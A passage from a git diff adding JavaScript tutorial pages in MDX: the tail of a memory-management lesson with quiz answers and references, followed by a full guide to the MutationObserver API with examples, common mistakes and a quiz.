**JavaScript manages memory automatically** — You don't allocate or free memory manually, but you must understand how it works to avoid leaks + +2. **Memory lifecycle has three phases** — Allocation (automatic), use (your code), and release (garbage collection) + +3. **Stack is for primitives, heap is for objects** — Primitives and references live on the stack; objects live on the heap + +4. **Reachability determines garbage collection** — Objects are freed when they can't be reached from roots (global variables, current function stack) + +5. **Mark-and-sweep is the algorithm** — The GC marks all reachable objects, then sweeps away the rest + +6. **Common leaks: globals, timers, DOM refs, closures, listeners** — These patterns keep objects reachable unintentionally + +7. **WeakMap and WeakSet prevent leaks** — They hold weak references that don't prevent garbage collection + +8. **DevTools Memory panel finds leaks** — Use heap snapshots and comparisons to identify retained objects + +9. **Explicitly null references to large objects** — Help the GC by breaking references when you're done + +10. **Clean up event listeners and timers** — Always remove listeners and clear intervals when components unmount +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What are the three phases of the memory lifecycle?"> + **Answer:** The three phases are: + + 1. **Allocation** — Memory is reserved when you create values (automatic in JavaScript) + 2. **Use** — Your code reads and writes to allocated memory + 3. **Release** — Memory is freed when no longer needed (handled by garbage collection) + + In JavaScript, phases 1 and 3 are automatic, while phase 2 is controlled by your code. + </Accordion> + + <Accordion title="Question 2: What's the difference between stack and heap memory?"> + **Answer:** + + | Stack | Heap | + |-------|------| + | Stores primitives and references | Stores objects | + | Fixed size, fast access | Dynamic size, slower access | + | LIFO order, auto-managed | Managed by garbage collector | + | Freed when function returns | Freed when unreachable | + + ```javascript + function example() { + const num = 42; // Stack (primitive) + const obj = { x: 1 }; // Heap (object) + const ref = obj; // Stack (reference to heap object) + } + ``` + </Accordion> + + <Accordion title="Question 3: Why does this code cause a memory leak?"> + ```javascript + const buttons = document.querySelectorAll('button'); + const handlers = []; + + buttons.forEach(button => { + const handler = () => console.log('clicked'); + button.addEventListener('click', handler); + handlers.push(handler); + }); + ``` + + **Answer:** This code causes a memory leak because: + + 1. Event listeners are never removed + 2. Handler functions are stored in the `handlers` array + 3. Even if buttons are removed from the DOM, they can't be garbage collected because: + - The `handlers` array keeps references to the handler functions + - The handler functions are attached to the buttons + + **Fix:** Remove event listeners and clear the array when buttons are removed: + + ```javascript + function cleanup() { + buttons.forEach((button, i) => { + button.removeEventListener('click', handlers[i]); + }); + handlers.length = 0; + } + ``` + </Accordion> + + <Accordion title="Question 4: When would you use WeakMap instead of Map?"> + **Answer:** Use `WeakMap` when: + + 1. **Keys are objects** that may be garbage collected + 2. **You're associating metadata** with objects owned by other code + 3. **You don't want your map to prevent garbage collection** of the keys + + ```javascript + // Storing computed data for DOM elements + const elementData = new WeakMap(); + + function processElement(el) { + if (!elementData.has(el)) { + elementData.set(el, computeExpensiveData(el)); + } + return elementData.get(el); + } + + // When el is removed from DOM and dereferenced, + // its entry in elementData is automatically cleaned up + ``` + + Use regular `Map` when you need to iterate over entries or when keys are primitives. + </Accordion> + + <Accordion title="Question 5: What does 'Detached' mean in Chrome DevTools heap snapshots?"> + **Answer:** "Detached" refers to DOM elements that have been removed from the document tree but are still retained in JavaScript memory because some code still holds a reference to them. + + Common causes: + - Storing DOM elements in arrays or objects + - Event handlers that reference removed elements via closures + - Caches that hold DOM element references + + To find them: + 1. Take a heap snapshot in DevTools Memory panel + 2. Filter for "Detached" + 3. Examine what's retaining each detached element + 4. Remove those references in your code + </Accordion> + + <Accordion title="Question 6: How does mark-and-sweep garbage collection work?"> + **Answer:** Mark-and-sweep works in two phases: + + **Mark phase:** + 1. Start from "roots" (global variables, current call stack) + 2. Visit all objects reachable from roots + 3. Mark each visited object as "alive" + 4. Follow references to mark objects reachable from marked objects + 5. Continue until all reachable objects are marked + + **Sweep phase:** + 1. Scan through all objects in memory + 2. Delete any object that wasn't marked + 3. Reclaim that memory for future allocations + + This approach handles circular references correctly — if two objects reference each other but neither is reachable from a root, both are collected. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Garbage Collection" icon="recycle" href="/beyond/concepts/garbage-collection"> + Deep dive into garbage collection algorithms and optimization + </Card> + <Card title="WeakMap & WeakSet" icon="key" href="/beyond/concepts/weakmap-weakset"> + Memory-safe collections with weak references + </Card> + <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> + How stack memory is used during function execution + </Card> + <Card title="Scope & Closures" icon="lock" href="/concepts/scope-and-closures"> + How closures affect memory retention + </Card> +</CardGroup> + +--- + +## References + +<CardGroup cols={2}> + <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management"> + Official MDN documentation on JavaScript memory management and garbage collection + </Card> + <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> + Documentation for WeakMap, a memory-efficient key-value collection + </Card> + <Card title="WeakRef — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef"> + Documentation for WeakRef, allowing weak references to objects + </Card> + <Card title="FinalizationRegistry — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/FinalizationRegistry"> + Register callbacks when objects are garbage collected + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Garbage Collection — JavaScript.info" icon="newspaper" href="https://javascript.info/garbage-collection"> + Excellent illustrated guide to how garbage collection works with the mark-and-sweep algorithm. Clear diagrams showing reachability. + </Card> + <Card title="Fix Memory Problems — Chrome DevTools" icon="wrench" href="https://developer.chrome.com/docs/devtools/memory-problems"> + Official Chrome guide to identifying memory leaks, using heap snapshots, and profiling allocation timelines. + </Card> + <Card title="Memory Management Masterclass — Auth0" icon="graduation-cap" href="https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/"> + Comprehensive walkthrough of the four most common JavaScript memory leak patterns with practical solutions. + </Card> + <Card title="A Tour of V8: Garbage Collection" icon="engine" href="https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection"> + Deep dive into how V8's garbage collector works, including generational collection and incremental marking. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Memory Management Crash Course" icon="video" href="https://www.youtube.com/watch?v=LaxbdIyBkL0"> + Traversy Media's beginner-friendly introduction to memory management, stack vs heap, and garbage collection basics. + </Card> + <Card title="Memory Leaks Demystified" icon="video" href="https://www.youtube.com/watch?v=slV0zdUEYJw"> + Google Chrome Developers explain how to find and fix memory leaks using DevTools, with real-world examples. + </Card> + <Card title="V8 Memory Deep Dive" icon="video" href="https://www.youtube.com/watch?v=aQ9dRKqk1ks"> + Advanced talk from BlinkOn covering V8's memory architecture, generational GC, and performance optimizations. + </Card> + <Card title="JavaScript Memory: Heap, Stack, and Garbage Collection" icon="video" href="https://www.youtube.com/watch?v=8Vwl4F3B60Y"> + Visual explanation of how JavaScript allocates memory and the differences between stack and heap storage. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/mutation-observer.mdx b/docs/beyond/concepts/mutation-observer.mdx new file mode 100644 index 00000000..6b3290f8 --- /dev/null +++ b/docs/beyond/concepts/mutation-observer.mdx @@ -0,0 +1,917 @@ +--- +title: "MutationObserver: Watching DOM Changes in JavaScript" +sidebarTitle: "MutationObserver: Watching DOM Changes" +description: "Learn the MutationObserver API in JavaScript. Understand how to watch DOM changes, detect attribute modifications, observe child elements, and build reactive UIs without polling." +--- + +How do you know when something changes in the DOM? What if you need to react when a third-party script adds elements, when user input modifies content, or when attributes change dynamically? + +```javascript +// Watch for any changes to a DOM element +const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + console.log('Something changed!', mutation.type) + } +}) + +observer.observe(document.body, { + childList: true, // Watch for added/removed children + subtree: true // Watch all descendants too +}) +``` + +The **[MutationObserver](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver)** API lets you watch the DOM for changes and react to them efficiently. It replaced the older, performance-killing Mutation Events and is now the standard way to detect DOM modifications. + +<Info> +**What you'll learn in this guide:** +- What MutationObserver is and why it replaced Mutation Events +- How to configure exactly what changes to observe +- Watching child nodes, attributes, and text content +- Using the subtree option for deep observation +- Processing MutationRecords to understand what changed +- Disconnecting observers properly for cleanup +- Real-world use cases and patterns +</Info> + +<Warning> +**Prerequisites:** This guide assumes you're comfortable with [DOM manipulation](/concepts/dom) and basic JavaScript. Understanding the [Event Loop](/concepts/event-loop) helps but isn't required. +</Warning> + +--- + +## What is MutationObserver? + +A **MutationObserver** is a built-in JavaScript object that watches a DOM element and fires a callback whenever specified changes occur. It provides an efficient, asynchronous way to react to DOM mutations without constantly polling or using deprecated event listeners. + +Think of it as setting up a security camera for your DOM. You tell it what to watch (an element), what changes you care about (children added, attributes changed, text modified), and what to do when something happens (your callback function). + +### Why Not Just Use Events? + +You might wonder: "Why not just listen for events?" The problem is that most DOM changes don't fire events you can listen to: + +```javascript +// These changes happen silently - no events fired! +element.setAttribute('data-active', 'true') +element.textContent = 'New text' +element.appendChild(newChild) + +// There's no "attributechange" or "childadded" event to listen for +element.addEventListener('attributechange', handler) // This doesn't exist! +``` + +Before MutationObserver, developers used **Mutation Events** (`DOMNodeInserted`, `DOMAttrModified`, etc.), but these had serious problems: + +| Problem | Impact | +|---------|--------| +| Fired synchronously | Blocked the main thread during DOM operations | +| Fired too often | Every single change triggered an event | +| Performance killer | Made complex DOM updates painfully slow | +| Bubbled up the DOM | Caused cascade of unnecessary handlers | + +MutationObserver solves all of these by batching changes and delivering them asynchronously via microtasks. + +--- + +## The Security Camera Analogy + +Imagine you're setting up security cameras in a building: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE SECURITY CAMERA ANALOGY │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOUR DOM MUTATIONOBSERVER │ +│ ┌──────────────────────┐ ┌──────────────────┐ │ +│ │ │ │ │ │ +│ │ ┌────────────────┐ │ watches │ 📹 Camera │ │ +│ │ │ <div> │◄─┼───────────────┤ │ │ +│ │ │ <p>Hi</p> │ │ │ Config: │ │ +│ │ │ <span/> │ │ │ - children ✓ │ │ +│ │ │ </div> │ │ │ - attributes ✓ │ │ +│ │ └────────────────┘ │ │ - text ✓ │ │ +│ │ │ │ │ │ +│ └──────────────────────┘ └────────┬─────────┘ │ +│ │ │ +│ │ detects changes │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ YOUR CALLBACK │ │ +│ │ │ │ +│ │ "A child was │ │ +│ │ added!" │ │ +│ │ "Attribute │ │ +│ │ changed!" │ │ +│ └──────────────────┘ │ +│ │ +│ Just like a security camera: │ +│ • You choose WHAT to watch (which element) │ +│ • You choose WHAT to detect (motion, faces, etc. = children, attrs) │ +│ • You get NOTIFIED when something happens (callback with details) │ +│ • You can STOP watching anytime (disconnect) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +The key insight: you're not constantly checking "did something change?" (polling). Instead, you set up the observer once, and it tells YOU when changes happen. + +--- + +## Creating a MutationObserver + +Setting up a MutationObserver takes three steps: + +<Steps> + <Step title="Create the observer with a callback"> + The callback receives an array of [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) objects describing what changed. + + ```javascript + const observer = new MutationObserver((mutations, obs) => { + // mutations = array of MutationRecord objects + // obs = the observer itself (useful for disconnecting) + console.log(`${mutations.length} changes detected`) + }) + ``` + </Step> + + <Step title="Start observing with configuration"> + Call `observe()` with the target element and an options object specifying what to watch. + + ```javascript + const targetElement = document.getElementById('app') + + observer.observe(targetElement, { + childList: true, // Watch for added/removed children + attributes: true, // Watch for attribute changes + characterData: true // Watch for text content changes + }) + ``` + </Step> + + <Step title="Handle the mutations in your callback"> + Each [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) tells you exactly what changed. + + ```javascript + const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + if (mutation.type === 'childList') { + console.log('Children changed!') + console.log('Added:', mutation.addedNodes) + console.log('Removed:', mutation.removedNodes) + } + if (mutation.type === 'attributes') { + console.log(`Attribute "${mutation.attributeName}" changed`) + } + } + }) + ``` + </Step> +</Steps> + +--- + +## Configuration Options + +The second argument to `observe()` is a [MutationObserverInit](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/observe#options) object that controls what changes to watch. At least one of `childList`, `attributes`, or `characterData` must be `true`. + +### The Core Options + +| Option | Type | What It Watches | +|--------|------|-----------------| +| `childList` | boolean | Adding or removing child nodes | +| `attributes` | boolean | Changes to element attributes | +| `characterData` | boolean | Changes to text node content | +| `subtree` | boolean | Apply options to ALL descendants, not just direct children | + +### Additional Options + +| Option | Type | What It Does | +|--------|------|--------------| +| `attributeOldValue` | boolean | Include the old attribute value in the MutationRecord | +| `characterDataOldValue` | boolean | Include the old text content in the MutationRecord | +| `attributeFilter` | string[] | Only watch specific attributes (e.g., `['class', 'data-id']`) | + +### Common Configuration Patterns + +<Tabs> + <Tab title="Watch Children Only"> + ```javascript + // Detect when elements are added or removed + observer.observe(container, { + childList: true + }) + + // Triggers when: + container.appendChild(newElement) // ✓ + container.removeChild(existingChild) // ✓ + container.innerHTML = '<p>New</p>' // ✓ + container.setAttribute('class', 'x') // ✗ (not watching attributes) + ``` + </Tab> + + <Tab title="Watch Attributes Only"> + ```javascript + // Detect attribute changes + observer.observe(element, { + attributes: true, + attributeOldValue: true // Optional: get the previous value + }) + + // Triggers when: + element.setAttribute('data-active', 'true') // ✓ + element.classList.add('highlight') // ✓ + element.id = 'new-id' // ✓ + element.textContent = 'New text' // ✗ (not watching characterData) + ``` + </Tab> + + <Tab title="Watch Specific Attributes"> + ```javascript + // Only care about certain attributes + observer.observe(element, { + attributes: true, + attributeFilter: ['class', 'data-state', 'aria-expanded'] + }) + + // Triggers when: + element.classList.toggle('active') // ✓ (class is in filter) + element.dataset.state = 'loading' // ✓ (data-state is in filter) + element.setAttribute('title', 'Hello') // ✗ (title not in filter) + ``` + </Tab> + + <Tab title="Watch Everything Deeply"> + ```javascript + // Watch the entire subtree for all changes + observer.observe(document.body, { + childList: true, + attributes: true, + characterData: true, + subtree: true, // Watch ALL descendants + attributeOldValue: true, + characterDataOldValue: true + }) + + // Triggers for ANY change anywhere in the body! + // Use with caution - can be expensive + ``` + </Tab> +</Tabs> + +<Warning> +**Performance tip:** Be specific about what you watch. Observing `document.body` with `subtree: true` and all options enabled will fire for EVERY DOM change on the page. Only watch what you need. +</Warning> + +--- + +## Understanding MutationRecords + +When your callback fires, it receives an array of [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) objects. Each record describes a single mutation. + +### MutationRecord Properties + +| Property | Description | +|----------|-------------| +| `type` | The type of mutation: `"childList"`, `"attributes"`, or `"characterData"` | +| `target` | The element (or text node) that was mutated | +| `addedNodes` | NodeList of added nodes (for `childList` mutations) | +| `removedNodes` | NodeList of removed nodes (for `childList` mutations) | +| `previousSibling` | Previous sibling of added/removed nodes | +| `nextSibling` | Next sibling of added/removed nodes | +| `attributeName` | Name of the changed attribute (for `attributes` mutations) | +| `attributeNamespace` | Namespace of the changed attribute (for namespaced attributes) | +| `oldValue` | Previous value (if `attributeOldValue` or `characterDataOldValue` was set) | + +### Processing Different Mutation Types + +```javascript +const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + switch (mutation.type) { + case 'childList': + // Nodes were added or removed + mutation.addedNodes.forEach(node => { + if (node.nodeType === Node.ELEMENT_NODE) { + console.log('Element added:', node.tagName) + } + }) + mutation.removedNodes.forEach(node => { + if (node.nodeType === Node.ELEMENT_NODE) { + console.log('Element removed:', node.tagName) + } + }) + break + + case 'attributes': + // An attribute changed + console.log( + `Attribute "${mutation.attributeName}" changed on`, + mutation.target, + `from "${mutation.oldValue}" to "${mutation.target.getAttribute(mutation.attributeName)}"` + ) + break + + case 'characterData': + // Text content changed + console.log( + 'Text changed from', + `"${mutation.oldValue}" to "${mutation.target.textContent}"` + ) + break + } + } +}) + +observer.observe(element, { + childList: true, + attributes: true, + characterData: true, + subtree: true, + attributeOldValue: true, + characterDataOldValue: true +}) +``` + +<Tip> +**Quick tip:** `addedNodes` and `removedNodes` include ALL node types, including text nodes and comments. Filter by `nodeType === Node.ELEMENT_NODE` if you only care about elements. +</Tip> + +--- + +## The Subtree Option + +By default, MutationObserver only watches the direct children of the target element. The `subtree: true` option extends observation to ALL descendants. + +```javascript +// Without subtree - only watches direct children +observer.observe(parent, { childList: true }) + +// parent +// ├── child1 ← Watched +// │ └── grandchild1 ← NOT watched +// └── child2 ← Watched +// └── grandchild2 ← NOT watched + + +// With subtree - watches entire tree +observer.observe(parent, { childList: true, subtree: true }) + +// parent +// ├── child1 ← Watched +// │ └── grandchild1 ← Watched +// └── child2 ← Watched +// └── grandchild2 ← Watched +``` + +### When to Use Subtree + +| Use Case | subtree? | Why | +|----------|----------|-----| +| Watch a specific container for new items | No | Only direct children matter | +| Detect any DOM change in an app | Yes | Changes can happen anywhere | +| Watch for specific elements appearing | Yes | They might be nested | +| Track attribute changes on one element | No | Only the target matters | + +--- + +## Disconnecting and Cleanup + +Always disconnect observers when you're done with them. This prevents memory leaks and unnecessary processing. + +### The disconnect() Method + +```javascript +const observer = new MutationObserver(callback) +observer.observe(element, { childList: true }) + +// Later, when you're done watching +observer.disconnect() + +// The callback will no longer fire for any changes +``` + +### The takeRecords() Method + +If you need to process pending mutations before disconnecting, use [takeRecords()](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/takeRecords): + +```javascript +// Get any mutations that haven't been delivered to the callback yet +const pendingMutations = observer.takeRecords() + +// Process them manually +for (const mutation of pendingMutations) { + console.log('Pending mutation:', mutation.type) +} + +// Now disconnect +observer.disconnect() +``` + +### Cleanup Pattern for Components + +```javascript +class MyComponent { + constructor(element) { + this.element = element + this.observer = new MutationObserver(this.handleMutations.bind(this)) + this.observer.observe(element, { childList: true, subtree: true }) + } + + handleMutations(mutations) { + // Process mutations + } + + destroy() { + // Always clean up! + this.observer.disconnect() + this.observer = null + } +} +``` + +<Warning> +**Memory leak alert:** Forgetting to disconnect observers on removed elements can cause memory leaks. Always disconnect when the observed element is removed from the DOM or when your component is destroyed. +</Warning> + +--- + +## When Callbacks Run: Microtasks + +MutationObserver callbacks are scheduled as **microtasks**, meaning they run after the current script but before the browser renders. This is the same queue as Promise callbacks. + +```javascript +console.log('1. Script start') + +const observer = new MutationObserver(() => { + console.log('3. MutationObserver callback') +}) +observer.observe(document.body, { childList: true }) + +document.body.appendChild(document.createElement('div')) + +Promise.resolve().then(() => { + console.log('2. Promise callback') +}) + +console.log('4. Script end') + +// Output: +// 1. Script start +// 4. Script end +// 2. Promise callback +// 3. MutationObserver callback +``` + +This means: +- Your callback runs AFTER the DOM changes are complete +- Multiple rapid changes are batched into a single callback +- The callback runs BEFORE the browser paints + +--- + +## Real-World Use Cases + +### 1. Lazy Loading Images + +Watch for images entering the DOM and load them: + +```javascript +const imageObserver = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType !== Node.ELEMENT_NODE) continue + + // Check if the added node is an image with data-src + if (node.matches('img[data-src]')) { + loadImage(node) + } + + // Also check children of the added node + node.querySelectorAll('img[data-src]').forEach(loadImage) + } + } +}) + +function loadImage(img) { + img.src = img.dataset.src + img.removeAttribute('data-src') +} + +imageObserver.observe(document.body, { + childList: true, + subtree: true +}) +``` + +### 2. Syntax Highlighting Dynamic Code + +Automatically highlight code blocks added to the page: + +```javascript +const codeObserver = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType !== Node.ELEMENT_NODE) continue + + // Find code blocks in the added content + const codeBlocks = node.matches('pre code') + ? [node] + : node.querySelectorAll('pre code') + + codeBlocks.forEach(block => { + if (!block.dataset.highlighted) { + Prism.highlightElement(block) + block.dataset.highlighted = 'true' + } + }) + } + } +}) + +codeObserver.observe(document.getElementById('content'), { + childList: true, + subtree: true +}) +``` + +### 3. Removing Unwanted Elements + +Block ads or unwanted elements injected by third-party scripts: + +```javascript +const adBlocker = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType !== Node.ELEMENT_NODE) continue + + if (node.matches('.ad-banner, [data-ad], .sponsored')) { + node.remove() + console.log('Blocked unwanted element') + } + } + } +}) + +adBlocker.observe(document.body, { + childList: true, + subtree: true +}) +``` + +### 4. Auto-Saving Form Changes + +Detect when form content changes and trigger auto-save: + +```javascript +const form = document.getElementById('editor-form') +let saveTimeout + +const formObserver = new MutationObserver(() => { + // Debounce the save + clearTimeout(saveTimeout) + saveTimeout = setTimeout(() => { + saveFormData(form) + }, 1000) +}) + +formObserver.observe(form, { + childList: true, + subtree: true, + attributes: true, + characterData: true +}) + +function saveFormData(form) { + const data = new FormData(form) + console.log('Auto-saving...', Object.fromEntries(data)) + // Send to server +} +``` + +### 5. Tracking Class Changes + +React to CSS class changes for animations or state: + +```javascript +const element = document.getElementById('panel') + +const classObserver = new MutationObserver((mutations) => { + for (const mutation of mutations) { + if (mutation.attributeName === 'class') { + const currentClasses = mutation.target.classList + + if (currentClasses.contains('expanded')) { + console.log('Panel expanded!') + loadPanelContent() + } else { + console.log('Panel collapsed!') + } + } + } +}) + +classObserver.observe(element, { + attributes: true, + attributeFilter: ['class'] +}) +``` + +--- + +## Common Mistakes + +### Mistake 1: Not Filtering Node Types + +```javascript +// ❌ WRONG - processes text nodes and comments too +const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + console.log('Added:', node.tagName) // undefined for text nodes! + } + } +}) + +// ✓ CORRECT - filter for elements only +const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + for (const node of mutation.addedNodes) { + if (node.nodeType === Node.ELEMENT_NODE) { + console.log('Added element:', node.tagName) + } + } + } +}) +``` + +### Mistake 2: Causing Infinite Loops + +```javascript +// ❌ WRONG - modifying the DOM inside the callback that watches for modifications +const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + // This causes another mutation, which fires the callback again! + mutation.target.setAttribute('data-processed', 'true') + } +}) + +observer.observe(element, { attributes: true }) + +// ✓ CORRECT - guard against reprocessing +const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + if (mutation.target.dataset.processed) continue // Skip already processed + mutation.target.dataset.processed = 'true' + } +}) + +// Or better - exclude the attribute you're setting +observer.observe(element, { + attributes: true, + attributeFilter: ['class', 'data-state'] // Don't include 'data-processed' +}) +``` + +### Mistake 3: Forgetting to Disconnect + +```javascript +// ❌ WRONG - observer keeps running after element is removed +function setupWidget(container) { + const observer = new MutationObserver(handleChanges) + observer.observe(container, { childList: true }) + + // Container gets removed later, but observer is never disconnected + // Memory leak! +} + +// ✓ CORRECT - clean up when done +function setupWidget(container) { + const observer = new MutationObserver(handleChanges) + observer.observe(container, { childList: true }) + + // Return cleanup function + return () => observer.disconnect() +} + +const cleanup = setupWidget(myContainer) +// Later when removing the widget: +cleanup() +``` + +### Mistake 4: Over-Observing + +```javascript +// ❌ WRONG - watching everything everywhere +observer.observe(document.body, { + childList: true, + attributes: true, + characterData: true, + subtree: true, + attributeOldValue: true, + characterDataOldValue: true +}) + +// ✓ CORRECT - be specific about what you need +observer.observe(specificContainer, { + childList: true, + subtree: true + // Only watch what you actually need +}) +``` + +--- + +## MutationObserver vs Other Approaches + +| Approach | When to Use | Drawbacks | +|----------|-------------|-----------| +| **MutationObserver** | Reacting to any DOM change | Slightly complex API | +| **Event delegation** | Reacting to user events on dynamic content | Only works for events that bubble | +| **Polling (setInterval)** | Never for DOM watching | Wasteful, misses changes between checks | +| **Mutation Events** | Never (deprecated) | Performance killer, removed from standards | +| **ResizeObserver** | Watching element size changes | Only for size, not other attributes | +| **IntersectionObserver** | Watching element visibility | Only for visibility, not DOM changes | + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **MutationObserver watches DOM changes** — It fires a callback when elements are added/removed, attributes change, or text content changes. + +2. **It replaced Mutation Events** — The old API was synchronous and killed performance. MutationObserver is asynchronous and batches changes. + +3. **You must specify what to watch** — Use `childList`, `attributes`, and/or `characterData` in the config object. + +4. **subtree extends to descendants** — Without it, only direct children are watched. + +5. **Callbacks receive MutationRecords** — Each record tells you the mutation type, target, and what specifically changed. + +6. **Always disconnect when done** — Prevents memory leaks and unnecessary processing. + +7. **Callbacks run as microtasks** — After the current script, before rendering, batched together. + +8. **Filter addedNodes by nodeType** — The NodeList includes text nodes and comments, not just elements. + +9. **Be specific to avoid performance issues** — Don't watch everything on document.body unless you really need to. + +10. **Guard against infinite loops** — If your callback modifies the DOM, make sure it doesn't trigger itself. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What three types of mutations can MutationObserver detect?"> + **Answer:** MutationObserver can detect three types of mutations: + + 1. **childList** — Child nodes being added or removed + 2. **attributes** — Attribute values changing + 3. **characterData** — Text content changing in text nodes + + Each mutation type corresponds to a `type` property value in the MutationRecord. + </Accordion> + + <Accordion title="Question 2: What does the subtree option do?"> + **Answer:** The `subtree: true` option extends observation to ALL descendants of the target element, not just direct children. + + Without `subtree`, only immediate children of the observed element trigger mutations. With `subtree`, changes anywhere in the element's entire tree trigger mutations. + + ```javascript + // Only direct children + observer.observe(parent, { childList: true }) + + // All descendants + observer.observe(parent, { childList: true, subtree: true }) + ``` + </Accordion> + + <Accordion title="Question 3: When do MutationObserver callbacks run?"> + **Answer:** MutationObserver callbacks run as **microtasks**. This means they execute: + + 1. After the current synchronous script finishes + 2. After all pending microtasks (like Promise callbacks) + 3. Before the browser renders/paints + + Multiple DOM changes are batched and delivered in a single callback invocation. + </Accordion> + + <Accordion title="Question 4: How do you stop a MutationObserver from watching?"> + **Answer:** Call the `disconnect()` method on the observer: + + ```javascript + const observer = new MutationObserver(callback) + observer.observe(element, { childList: true }) + + // Stop watching + observer.disconnect() + ``` + + If you need to process pending mutations before disconnecting, call `takeRecords()` first. + </Accordion> + + <Accordion title="Question 5: Why should you filter addedNodes by nodeType?"> + **Answer:** The `addedNodes` and `removedNodes` NodeLists include ALL node types, not just elements. This includes: + + - Text nodes (nodeType 3) + - Comment nodes (nodeType 8) + - Element nodes (nodeType 1) + + If you only care about elements, filter by `node.nodeType === Node.ELEMENT_NODE`: + + ```javascript + for (const node of mutation.addedNodes) { + if (node.nodeType === Node.ELEMENT_NODE) { + // This is an actual element + } + } + ``` + </Accordion> + + <Accordion title="Question 6: How can you cause an infinite loop with MutationObserver?"> + **Answer:** If your callback modifies the DOM in a way that triggers another mutation, and you're watching for that type of mutation, you can create an infinite loop: + + ```javascript + // Infinite loop - setting an attribute inside a callback + // that watches attributes! + const observer = new MutationObserver((mutations) => { + element.setAttribute('data-count', count++) // Triggers another mutation! + }) + observer.observe(element, { attributes: true }) + ``` + + **Solutions:** + - Use `attributeFilter` to exclude the attribute you're modifying + - Add a guard condition to skip already-processed elements + - Set a flag before modifying and check it in the callback + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="DOM" icon="sitemap" href="/concepts/dom"> + Understanding the DOM tree that MutationObserver watches + </Card> + <Card title="Intersection Observer" icon="eye" href="/beyond/concepts/intersection-observer"> + Another Observer API for detecting element visibility + </Card> + <Card title="Resize Observer" icon="arrows-left-right" href="/beyond/concepts/resize-observer"> + Observer API for detecting element size changes + </Card> + <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> + How microtasks (including MutationObserver callbacks) are scheduled + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="MutationObserver — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver"> + Complete MDN reference for the MutationObserver interface, including constructor, methods, and browser compatibility. + </Card> + <Card title="MutationObserver.observe() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/observe"> + Detailed documentation of the observe() method and all configuration options in MutationObserverInit. + </Card> + <Card title="MutationRecord — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord"> + Reference for the MutationRecord interface that describes individual DOM mutations. + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Mutation Observer — javascript.info" icon="newspaper" href="https://javascript.info/mutation-observer"> + Comprehensive tutorial covering syntax, configuration, and practical use cases like syntax highlighting. Includes interactive examples you can run in the browser. + </Card> + <Card title="Getting To Know The MutationObserver API — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/getting-to-know-the-mutationobserver-api/"> + Chris Coyier's practical introduction with real-world examples. Great for understanding when and why to use MutationObserver. + </Card> + <Card title="Tracking DOM Changes with MutationObserver — dev.to" icon="newspaper" href="https://dev.to/betelgeuseas/tracking-changes-in-the-dom-using-mutationobserver-i8h"> + Practical guide covering use cases like notifying visitors of page changes, dynamic module loading, and implementing undo/redo in editors. + </Card> + <Card title="DOM MutationObserver — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/"> + The original Mozilla blog post introducing MutationObserver. Explains why it was created and how it improves on Mutation Events. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="MutationObserver is Unbelievably Powerful — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=Mi4EF9K87aM"> + Clear explanation of MutationObserver covering attributes, text content, and subtree mutations. Perfect for visual learners who want to understand the core concepts quickly. + </Card> + <Card title="Dominate the DOM with MutationObserver — Net Ninja" icon="video" href="https://www.youtube.com/watch?v=_USLLDbkQI0"> + Practical tutorial using a Webflow Slider example. Shows how to handle third-party components you don't control by watching for their DOM changes. + </Card> + <Card 